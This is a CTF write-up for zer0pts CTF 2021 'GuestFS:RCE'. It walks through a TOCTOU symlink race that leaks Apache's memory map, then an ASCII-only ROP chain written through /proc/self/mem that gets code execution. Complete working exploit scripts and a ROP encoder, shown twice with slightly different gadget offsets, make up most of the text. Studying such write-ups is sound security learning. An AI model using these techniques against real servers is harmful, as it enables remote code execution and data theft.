# GuestFS:RCE - zer0pts CTF 2021
###### tags: `zer0pts CTF 2021`
## Introduction
This challenge is the second part of GuestFS.
We got arbitrary existing file read/write primitive in GuestFS:AFR.
## Plan
Since we have arbitrary (existing) file read/write primitive, it's pretty natural to abuse procfs. (Check GuestFS:AFR first if you haven't gained this primitive yet.)
The hint gives us an importatnt information:
```
# echo 1 > /proc/sys/fs/suid_dumpable
```
This PHP application is working on apache2. Apache2 is, of couse, first run as root user and then drops its privilege to www-data.
Linux doesn't allow such a process to access `/proc/self/mem` even after the process is forked. This is because `/proc/self/mem` may contain information of the original root user. However, calling `prctl` with `PR_SET_DUMPABLE` makes it possible. Instead of calling this, the admin can apply this to all the processes by writing "1" to `/proc/sys/fs/suid_dumpable`.
So, this hint says "use /proc/self/mem."
## Exploitation
### Race Condition to Address Leak
Some of you may think it's easy to leak the address from `/proc/self/maps` or so.
However, `validate_bounds` function makes it hard.
```php
function validate_bounds($path, $size, $offset)
{
$st = stat($path);
if ($offset < 0) {
throw new Exception('offset must be positive');
}
if ($size < 0) {
$size = $st['size'] - $offset;
if ($size < 0) {
throw new Exception('offset is larger than file size');
}
}
if ($size === 0) {
throw new Exception('size must be greater than 0');
}
if ($size + $offset > $st['size']) {
throw new Exception('trying to read out of bound');
}
return $size;
}
```
This function checks the file size and doesn't allow out-of-bounds read.
The size of most files in procfs is shown as zero by stat.
```
# stat /proc/self/maps
File: /proc/self/maps
Size: 0 Blocks: 0 IO Block: 1024 通常の空ファイル
Device: 5h/5d Inode: 648610 Links: 1
Access: (0444/-r--r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2020-10-02 14:57:00.798940473 +0900
Modify: 2020-10-02 14:57:00.798940473 +0900
Change: 2020-10-02 14:57:00.798940473 +0900
Birth: -
```
The point is that it uses the filepath both to check the file size and to open the file. Between these operations, we have enough time to change the contents of the file.
```
...
$size = $this->validate_bounds($this->root.$name, $size, $offset);
/* Alleviate heavy disk load. */
usleep(500000);
/* Read contents */
$fp = @fopen($this->root.$name, "r");
...
```
So, the second vulnerability is TOCTOU. We can read `/proc/self/maps` by first pointing a symlink to a large file and second changing the link to `/proc/self/maps`.
However, you can't simply abuse a symlink to cause TOCTOU. Apache by default uses MPM to parallelize the socket connection. It forks the parent process multiple times and creats children. If multiple connections are established at the same time, some of the children are used to handle the requests. The point here is that **MPM uses the same child process for the same PHP session**. So, we must use two sessions to cause the race condition.
In this way we can leak the address of the apache process.
### Memory Corruption
We can write data to any part of the apache binary, libraries, stack or wherever in the memory through `/proc/self/mem`. However, there's one problem.
```php
/* Write contents */
$fp = @fopen($this->root.$name, "w");
@fseek($fp, $offset, SEEK_SET);
@fwrite($fp, $data);
@fclose($fp);
```
PHP opens the file in "write-text" mode and doesn't accept some unprintable characters. It converts some bytes into UTF-8 bytearrays.
What we can write are the ascii characters(0x00-0x7F).
I first came up with injecting an alphanumeric shellcode but it didn't work because alphanumeric shellcode assumes the shellcode region is both writable and executable. In this case, we can inject data through `/proc/self/mem` and there's no RWX region in apache process.
My idea is to inject **ascii ROP chain writer** instead of ascii shellcode.
### Injection Point
There are some ways to execute our shellcode. I chose `ap_unixd_accept` as the victim.
```
push r12
push rbp
mov r12, rsi
push rbx
mov rbp, rdi
sub rsp, 10h
mov qword ptr [rdi], 0
mov rsi, [rsi+8]
mov rdi, rsp
mov rax, fs:28h
mov [rsp+28h+var_20], rax
xor eax, eax
call _apr_socket_accept
test eax, eax
mov ebx, eax
jz short loc_7BDB0
```
I put my shellcode starting from the call instruction. This ensures that the registers hold the following constraints when our shellcode is executed.
```
rax == 0
rdi == rsp
```
`rax == 0` is very useful.
### ASCII ROP
It's not that hard to write ASCII ROP. Contrary to the ordinal(?) alphanumeric shellcode, we can use whatever characters in [0x00, 0x7f].
What we need to use are only the following instructions.
```
50: push rax
58: pop rax
52: push rdx
5a: pop rdx
51: push rcx
59: pop rcx
34 XX: xor al, imm8
30 44 24 XX: xor [rsp+imm8], al
6B 04 24 05: imul eax, [rsp], 5
```
Basically, we push zero (rax) and xor it to create a desired value on stack.
Assume that we want to push 0xdead1234. The following code can accomplish this only with ASCII characters.
```
/* (1) rdx=0, cl=0x80 */
push rax
pop rdx
xor al, 8
push rax
imul eax, [rsp], 0x10
push rax
pop rcx
push rdx
/* (2) write 0x34 */
push rdx
pop rax
xor al, 0x34
xor [rsp], al
/* (3) write 0x12 */
push rdx
pop rax
xor al, 0x12
xor [rsp+1], al
/* (4) write 0xad */
push rcx
pop rax
xor al, 0x2d
xor [rsp+2], al
/* (5) write 0xde */
push rcx
pop rax
xor al, 0x2d
xor [rsp+3], al
```
After injecting the ROP chain, we just have to run "NOP" until RIP reaches to the nearest `ret` instruction on the binary. (Be noticed it's null terminated!)
I wrote an encoder for this trick.
```python=
from ptrlib import *
elf = ELF("./apache2")
def ascii_encode(proc_base):
rop_xchg_eax_ebp = proc_base + 0x00054615
rop_pop_rdi = proc_base + 0x00037bd7
rop_pop_rsi = proc_base + 0x00038d16
rop_pop_rdx_rbx = proc_base + 0x00046eef
rop_pop_rbp = proc_base + 0x0003713f
rop_mov_prsi_rdi = proc_base + 0x0006e160
rop_syscall = proc_base + 0x0004662c
addr_arg0 = proc_base # /bin/sh
addr_arg1 = proc_base + 10 # -c
addr_arg2 = proc_base + 13 # command
addr_args = proc_base + elf.section(".bss") + 0x100
ropchain = [
# write args
rop_pop_rsi,
addr_args,
rop_pop_rdi,
addr_arg0,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 8,
rop_pop_rdi,
addr_arg1,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 0x10,
rop_pop_rdi,
addr_arg2,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 0x18,
rop_pop_rdi,
0,
rop_mov_prsi_rdi,
# execve("/bin/bash", {"/bin/bash", "-c", "..."})
rop_pop_rdx_rbx,
0, 0,
rop_pop_rsi,
addr_args,
rop_pop_rdi,
addr_arg0,
rop_pop_rbp,
59,
rop_xchg_eax_ebp,
rop_syscall
]
encoder = [
# rdx=0x0, rcx=0x80
'push rax',
'pop rdx',
'xor al, 8',
'push rax',
'imul eax, [rsp], 0x10',
'push rax',
'pop rcx',
]
for gadget in ropchain[::-1]:
encoder += ['push rdx']
for i in range(8):
v = (gadget >> (i * 8)) & 0xff
if v == 0: continue
if v >= 0x80:
encoder += [
'push rcx',
'pop rax',
'xor al, {}'.format(v ^ 0x80),
'xor [rsp+{}], al'.format(i)
]
else:
encoder += [
'push rdx',
'pop rax',
'xor al, {}'.format(v),
'xor [rsp+{}], al'.format(i)
]
binary = nasm('\n'.join(encoder), bits=64)
if len(binary) % 2 != 0:
binary += b'\x35\x44\x44\x44\x44' # xor eax, 0x44444444
binary += b'\x34\x77' * ((0x630 - len(binary)) // 2) # xor al, 0x77
return binary[:-1] # null termination
```
### Test
Let's check on gdb.
```
► 0x5555555d0324 <__libc_csu_init+100> ret <0x555555558061>
↓
0x555555558061 pop rsi
0x555555558062 ret
↓
0x55555557c568 pop rdx
0x55555557c569 ret
↓
0x5555555aad6d mov qword ptr [rsi], rdx
0x5555555aad70 ret
↓
0x555555558061 pop rsi
0x555555558062 ret
↓
0x55555557c568 pop rdx
0x55555557c569 ret
```
Continue.
```
► 0x555555554ff0 syscall <SYS_execve>
path: 0x555555554000 ◂— u'/bin/bash'
argv: 0x5555557f7780 —▸ 0x555555554000 ◂— u'/bin/bash'
envp: 0x0
pwndbg> x/4xg 0x5555557f7780
0x5555557f7780: 0x0000555555554000 0x000055555555400a
0x5555557f7790: 0x000055555555400d 0x0000000000000000
pwndbg> x/1s 0x0000555555554000
0x555555554000: "/bin/bash"
pwndbg> x/1s 0x000055555555400a
0x55555555400a: "-c"
pwndbg> x/1s 0x000055555555400d
0x55555555400d: "/bin/ls>/tmp/hoge1"
```
Yay!
## Exploit
Chain the leak and memory corruption to win.
```python
from ptrlib import *
from encoder import ascii_encode
import requests
import threading
import re
import hashlib
import time
URL = "http://0.0.0.0:9080/"
# We need 2 sessions because MPM uses one process per session
r = requests.get(URL)
cookies1 = r.cookies
r = requests.get(URL)
cookies2 = r.cookies
dirname1 = hashlib.md5(cookies1['PHPSESSID'].encode()).hexdigest()
dirname2 = hashlib.md5(cookies1['PHPSESSID'].encode()).hexdigest()
def create(name, target=None, cookies=None):
if cookies is None: cookies = cookies1
if target is None:
r = requests.post(URL,
data={'mode':'create', 'name':name},
cookies=cookies)
else:
r = requests.post(URL,
data={'mode':'create', 'name':name, 'type':1, 'target':target},
cookies=cookies)
return r
def read(name, offset=0, size=-1, cookies=None):
if cookies is None: cookies = cookies1
r = requests.post(URL,
data={'mode':'read', 'name':name, 'offset':offset, 'size':size},
cookies=cookies)
return r
def write(name, data, offset=0, cookies=None):
if cookies is None: cookies = cookies1
r = requests.post(URL,
data={'mode':'write', 'name':name, 'offset':offset, 'data':data},
cookies=cookies)
return r
def delete(name, cookies=None):
if cookies is None: cookies = cookies1
r = requests.post(URL,
data={'mode':'delete', 'name':name},
cookies=cookies)
return r
proc_base = 0
win = False
def reader():
global proc_base, win
while True:
print("b", end="", flush=True)
r = read("evil", cookies=cookies2)
if "r-xp" in r.text:
break
leak = re.findall("([0-9a-f]+)\-[0-9a-f]+ r\-\-p", r.text)[0]
proc_base = int(leak, 16)
win = True
def linker():
global win
while not win:
print("a", end="", flush=True)
delete("victim", cookies=cookies1)
create("evil", "../../../../../../../../../../../../../proc/self/maps", cookies=cookies1)
delete("victim", cookies=cookies1)
create("evil", "../../../../../../../../../../../../../var/www/html/index.php", cookies=cookies1)
# (1) Leak proc base
create("victim", cookies=cookies1)
create("middle", "victim", cookies=cookies1)
create("evil", "middle", cookies=cookies1)
create("evil", f"../{dirname1}/middle", cookies=cookies2)
#"""
t1 = threading.Thread(target=reader)
t2 = threading.Thread(target=linker)
t1.start()
t2.start()
t1.join()
t2.join()
"""
proc_base = 0x5609e2c1d000 # you can fix it once you leak it as it's forked
#"""
logger.info("proc = " + hex(proc_base))
ap_unixd_accept_call = 0x7e67c
# (2) Inject args
for i in range(10):
delete("victim", cookies=cookies1)
create("evil", "../../../../../../../../../../../../../proc/self/mem", cookies=cookies1)
offset = proc_base
data = b'/bin/bash\0-c\0/bin/cat /flag*>/tmp/hogetaro'
write("evil", data, offset, cookies=cookies1)
time.sleep(1)
# (3) ASCII ROP to win!
offset = proc_base + ap_unixd_accept_call # ap_unixd_accept+0x2c
data = ascii_encode(proc_base)
write("evil", data, offset, cookies=cookies1)
```
Encoder:
```python=
from ptrlib import *
elf = ELF("./apache2")
def ascii_encode(proc_base):
rop_xchg_eax_ebp = proc_base + 0x00054615
rop_pop_rdi = proc_base + 0x00037bd7
rop_pop_rsi = proc_base + 0x00038d16
rop_pop_rdx_rbx = proc_base + 0x00046eef
rop_pop_rbp = proc_base + 0x0003713f
rop_mov_prsi_rdi = proc_base + 0x0006e170
rop_syscall = proc_base + 0x0004662c
addr_arg0 = proc_base # /bin/sh
addr_arg1 = proc_base + 10 # -c
addr_arg2 = proc_base + 13 # command
addr_args = proc_base + elf.section(".bss") + 0x100
ropchain = [
# write args
rop_pop_rsi,
addr_args,
rop_pop_rdi,
addr_arg0,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 8,
rop_pop_rdi,
addr_arg1,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 0x10,
rop_pop_rdi,
addr_arg2,
rop_mov_prsi_rdi,
rop_pop_rsi,
addr_args + 0x18,
rop_pop_rdi,
0,
rop_mov_prsi_rdi,
# execve("/bin/bash", {"/bin/bash", "-c", "..."})
rop_pop_rdx_rbx,
0, 0,
rop_pop_rsi,
addr_args,
rop_pop_rdi,
addr_arg0,
rop_pop_rbp,
59,
rop_xchg_eax_ebp,
rop_syscall
]
encoder = [
# rdx=0x0, rcx=0x80
'push rax',
'pop rdx',
'xor al, 8',
'push rax',
'imul eax, [rsp], 0x10',
'push rax',
'pop rcx',
]
for gadget in ropchain[::-1]:
encoder += ['push rdx']
for i in range(8):
v = (gadget >> (i * 8)) & 0xff
if v == 0: continue
if v >= 0x80:
encoder += [
'push rcx',
'pop rax',
'xor al, {}'.format(v ^ 0x80),
'xor [rsp+{}], al'.format(i)
]
else:
encoder += [
'push rdx',
'pop rax',
'xor al, {}'.format(v),
'xor [rsp+{}], al'.format(i)
]
binary = nasm('\n'.join(encoder), bits=64)
if len(binary) % 2 != 0:
binary += b'\x35\x44\x44\x44\x44' # xor eax, 0x44444444
binary += b'\x34\x77' * ((0x630 - len(binary)) // 2) # xor al, 0x77
return binary[:-1] # null termination
```